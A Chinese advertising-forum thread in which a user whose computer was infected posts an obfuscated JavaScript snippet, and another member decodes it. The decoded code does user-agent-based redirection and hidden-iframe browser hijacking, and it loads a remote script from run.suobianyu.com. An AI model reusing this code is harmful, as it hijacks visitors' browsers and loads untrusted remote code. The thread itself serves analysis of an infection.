AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

PropellerAds
Google-Bing-Mediago-Criteo开户
⚡️按条S5代理⚡️静态⚡️独享⚡️5G广告专用虚拟卡/U充值/高返点皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
⚡️AdsPower:安全不封号,高效自动化Google FB TK游戏代投⚡️E.PN 虚拟卡⚡️BINOM TRACKER 60% OFF!
比Adplexity还好用的Spy工具ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款
全球虚拟卡, 支持U充值各种主页、账单户、BM户(优势)⚡️TikTok企业户,bm户,账单户IPCola原生住宅IP⚡️$1.8/条双ISP
FB海外户、GG老户、TK加白老户PTM虚拟卡[全新卡BIN+高返点]FB虚拟卡⚡️消费越多返现越多最大欧洲Nutra网盟BA找量
高品质·稳定高速纯净IP FB个号1块一个TikTok2审户/老户/国内外端口/加白SX.ORG 高质量代理⚡235+ 地区
GG,FB,TK, 欧美源头, 欢迎合作❤️跨境债务催收/风险代理高权重Google老户[卖户+筛户等级] 海外斗篷・智能广告过审率高达 99%
DataImpulse⚡️纯净住宅代理仅 $1FB企业户海外户,授信户,TK加白户广告位出租8500万高质量住宅IP,助力各种需求
虚拟卡返佣1%,国内持牌机构   
查看: 9143|回复: 5

[吐槽] 电脑又被种马了,大家看看这个代码几个意思?

[复制链接]

28

主题

42

广告币

475

积分

中级会员

Rank: 3Rank: 3

积分
475
发表于 2015-9-5 19:50:48 | 显示全部楼层 |阅读模式
+ P: V1 O) x6 h& @4 y( S

3 B4 X4 Q: R7 G5 z<SCRIPT LANGUAGE="JavaScript">
& u( M# f6 Z& v4 R1 v+ o4 ivar tourl = "http://www.benbenq.com/article/592258.html";- F/ j3 Z- X1 Y. z
eval('\x76\x61\x72\x20\x75\x61\x20\x3d\x20\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x75\x73\x65\x72\x41\x67\x65\x6e\x74\x2e\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65\x28\x29\x2c\x0a\x62\x72\x6f\x77\x73\x65\x72\x20\x3d\x20\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x76\x65\x72\x3a\x20\x28\x75\x61\x2e\x6d\x61\x74\x63\x68\x28\x2f\x28\x3f\x3a\x72\x76\x7c\x6d\x65\x7c\x72\x61\x7c\x69\x65\x29\x5b\x5c\x2f\x3a\x20\x5d\x28\x5b\x5c\x64\x2e\x5d\x2b\x29\x2f\x29\x20\x7c\x7c\x20\x5b\x30\x2c\x20\x22\x30\x22\x5d\x29\x5b\x31\x5d\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6f\x70\x65\x72\x61\x3a\x20\x2f\x6f\x70\x65\x72\x61\x2f\x2e\x74\x65\x73\x74\x28\x75\x61\x29\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6d\x61\x78\x74\x68\x6f\x6e\x20\x3a\x20\x2f\x6d\x61\x78\x74\x68\x6f\x6e\x2f\x2e\x74\x65\x73\x74\x28\x75\x61\x29\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x68\x65\x77\x6f\x72\x6c\x64\x3a\x20\x2f\x74\x68\x65\x77\x6f\x72\x6c\x64\x2f\x2e\x74\x65\x73\x74\x28\x75\x61\x29\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x71\x71\x3a\x20\x2f\x71\x71\x62\x72\x6f\x77\x73\x65\x72\x2f\x2e\x74\x65\x73\x74\x28\x75\x61\x29\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x73\x6f\x67\x6f\x75\x3a\x20\x2f\x73\x65\x20\x2f\x2e\x74\x65\x73\x74\x28\x75\x61\x29\x2c\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6c\x69\x65\x62\x61\x6f\x3a\x20\x2f\x6c\x69\x65\x62\x61\x6f\x2f\x2e\x74\x65\x73\x74\x28\x75\x61\x29\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x69\x72\x65\x66\x6f\x78\x3a\x20\x2f\x6d\x6f\x7a\x69\x6c\x6c\x61\x2f\x2e\x74\x65\x73\x74\x28\x75\x61\x29\x20\x26\x26\x20\x21\x2f\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x7c\x77\x65\x62\x6b\x69\x74\x29\x2f\x2e\x74\x65\x73\x74\x28\x75\x61\x29\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x63\x68\x72\x6f\x6d\x65\x3a\x20\x2f\x63\x68\x72\x6f\x6d\x65\x7c\x63\x72\x69\x6f\x73\x2f\x2e\x74\x65\x73\x74\x28\x75\x61\x29\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x73\x61\x66\x61\x72\x69\x3a\x20\x2f\x77\x65\x62\x6b\x69\x74\x2f\x2e\x74\x65\x73\x74\x28\x75\x61\x29\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x75\x63\x3a\x20\x2f\x75\x63\x62\x72\x6f\x77\x73\x65\x72\x2f\x2e\x74\x65\x73\x74\x28\x75\x61\x29\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x65\x3a\x20\x2f\x6d\x73\x69\x65\x2f\x2e\x74\x65\x73\x74\x28\x75\x61\x29\x20\x26\x26\x20\x21\x2f\x6f\x70\x65\x72\x61\x2f\x2e\x74\x65\x73\x74\x28\x75\x61\x29\x0a\x7d\x3b\x0a\x76\x61\x72\x20\x76\x65\x72\x20\x3d\x20\x20\x62\x72\x6f\x77\x73\x65\x72\x2e\x76\x65\x72\x3b\x0a\x69\x66\x28\x62\x72\x6f\x77\x73\x65\x72\x2e\x66\x69\x72\x65\x66\x6f\x78\x20\x7c\x7c\x20\x2f\x41\x6e\x64\x72\x6f\x69\x64\x7c\x57\x69\x6e\x64\x6f\x77\x73\x20\x50\x68\x6f\x6e\x65\x7c\x77\x65\x62\x4f\x53\x7c\x69\x50\x68\x6f\x6e\x65\x7c\x69\x50\x6f\x64\x7c\x42\x6c\x61\x63\x6b\x42\x65\x72\x72\x79\x2f\x69\x2e\x74\x65\x73\x74\x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x75\x73\x65\x72\x41\x67\x65\x6e\x74\x29\x29\x7b\x0a\x20\x20\x20\x20\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x6d\x65\x74\x61\x20\x68\x74\x74\x70\x2d\x65\x71\x75\x69\x76\x3d\x52\x65\x66\x72\x65\x73\x68\x20\x63\x6f\x6e\x74\x65\x6e\x74\x3d\x5c\x22\x30\x3b\x75\x72\x6c\x3d\x22\x2b\x74\x6f\x75\x72\x6c\x2b\x22\x5c\x22\x3e\x22\x29\x3b\x0a\x7d\x65\x6c\x73\x65\x20\x7b\x0a\x20\x20\x20\x20\x20\x77\x69\x6e\x64\x6f\x77\x2e\x73\x63\x3d\x22\x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x22\x2b\x74\x6f\x75\x72\x6c\x2b\x22\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e\x22\x3b\x0a\x20\x20\x20\x20\x20\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x5c\x22\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x70\x61\x72\x65\x6e\x74\x2e\x73\x63\x5c\x22\x20\x77\x69\x64\x74\x68\x3d\x30\x20\x68\x65\x69\x67\x68\x74\x3d\x30\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e\x22\x29\x3b\x0a\x7d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x3a\x2f\x2f\x72\x75\x6e\x2e\x73\x75\x6f\x62\x69\x61\x6e\x79\x75\x2e\x63\x6f\x6d\x2f\x61\x2e\x6a\x73\x27\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x3b');
# Z/ z! u7 ?6 }  U</SCRIPT>" G# @4 O! D$ ]5 D

* {: q& |) V$ A) u' `

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相关帖子
回复

使用道具 举报

11

主题

35

广告币

281

积分

初级会员

Rank: 2

积分
281

社区QQ达人

发表于 2015-9-5 20:41:18 | 显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑 2 M/ s% ?: \) b+ [! ~! }
  1. var ua = navigator.userAgent.toLowerCase(),
    - K3 v0 M. ~9 r7 o7 V4 C7 `
  2. browser = {
    , c& f* _, Q: B2 d0 M4 X* t
  3.     ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],
      c& C; F9 E! u. t: {2 D( u5 |
  4.     opera: /opera/.test(ua),7 \1 K  J- Y& q$ d( ^
  5.     maxthon: /maxthon/.test(ua),
    ; T0 c8 Z0 z) @; h
  6.     theworld: /theworld/.test(ua),+ T2 @: |9 s" h- u, r, G
  7.     qq: /qqbrowser/.test(ua),- J# P9 m2 v# h; ]5 ^) o3 e: L8 C
  8.     sogou: /se /.test(ua),8 d9 [/ I8 z0 f: z
  9.     liebao: /liebao/.test(ua),
    . C9 Z7 c7 |. K$ X$ I# X
  10.     firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),$ [. ~9 v  G' c# E
  11.     chrome: /chrome|crios/.test(ua),
    ( m. N1 k9 p9 G% v  E9 H, ]4 w
  12.     safari: /webkit/.test(ua),% G9 q7 `' B- r5 k- Y
  13.     uc: /ucbrowser/.test(ua),$ Y# P0 B+ V6 \4 w+ D! o  b
  14.     ie: /msie/.test(ua) && !/opera/.test(ua)
    + X' j  O1 U9 |8 f
  15. };
    # K, Q. I7 Y0 J7 A$ N3 U
  16. var ver = browser.ver;
    # _/ Z6 Z9 S* r" P0 k
  17. if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {
    , q: O; Y/ h! D2 K
  18.     document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");* A  ^$ W' F* h6 v7 w! h
  19. } else {+ |1 ?6 j5 P5 `% h
  20.     window.sc = "<iframe src=" + tourl + "></iframe>";
    + a, d; @# W8 q5 p" F/ J# }
  21.     document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");
    ; K( f+ P) W; v' W
  22. }
    0 Q# R& L- n3 B$ R, }
  23. document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码

9 ]* {$ N2 {8 x3 T" B, o8 L0 X5 E8 Z/ L; b; M# l+ ^
好像是根据用户浏览器的User-agent信息来决定如何跳转。

点评

那就好,我看我3389被开了,扫描下有病毒。是不是还有木马没扫除来呢?3389明明是关了的啊  详情 回复 发表于 2015-9-5 21:16
回复 支持 反对

使用道具 举报

28

主题

42

广告币

475

积分

中级会员

Rank: 3Rank: 3

积分
475
 楼主| 发表于 2015-9-5 21:16:45 | 显示全部楼层
seanhere 发表于 2015-9-5 20:41) B" V- T7 t# M" K( B5 ~  @
好像是根据用户浏览器的User-agent信息来决定如何跳转。
  L6 M7 O9 q% G7 l; G
那就好,我看我3389被开了,扫描下有病毒。是不是还有木马没扫除来呢?3389明明是关了的啊
回复 支持 反对

使用道具 举报

13

主题

17

广告币

64

积分

初级会员

Rank: 2

积分
64

社区QQ达人

发表于 2015-9-5 22:48:36 | 显示全部楼层
这个是最简单的浏览器劫持! t$ }  P) x4 }# j& `! u
重新安装一个浏览器即可7 f: d* D7 Q: \6 e; b
回复 支持 反对

使用道具 举报

1656

主题

1万

广告币

2万

积分

管理员

宇宙无敌河马天神

Rank: 9Rank: 9Rank: 9

积分
27650

社区QQ达人

发表于 2015-9-8 08:39:42 | 显示全部楼层
太狠了。。
学会提问的艺术, 从小处入手, 忌大而空
AdvertCN电报群

我最喜欢用的工具
7200W全球动态不重复住宅IP代理
回复 支持 反对

使用道具 举报

9

主题

2

广告币

82

积分

初级会员

Rank: 2

积分
82

社区QQ达人

发表于 2015-9-11 11:55:57 | 显示全部楼层
windows 就是容易蛋疼
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2026-4-6 22:42 , Processed in 0.053974 second(s), 17 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表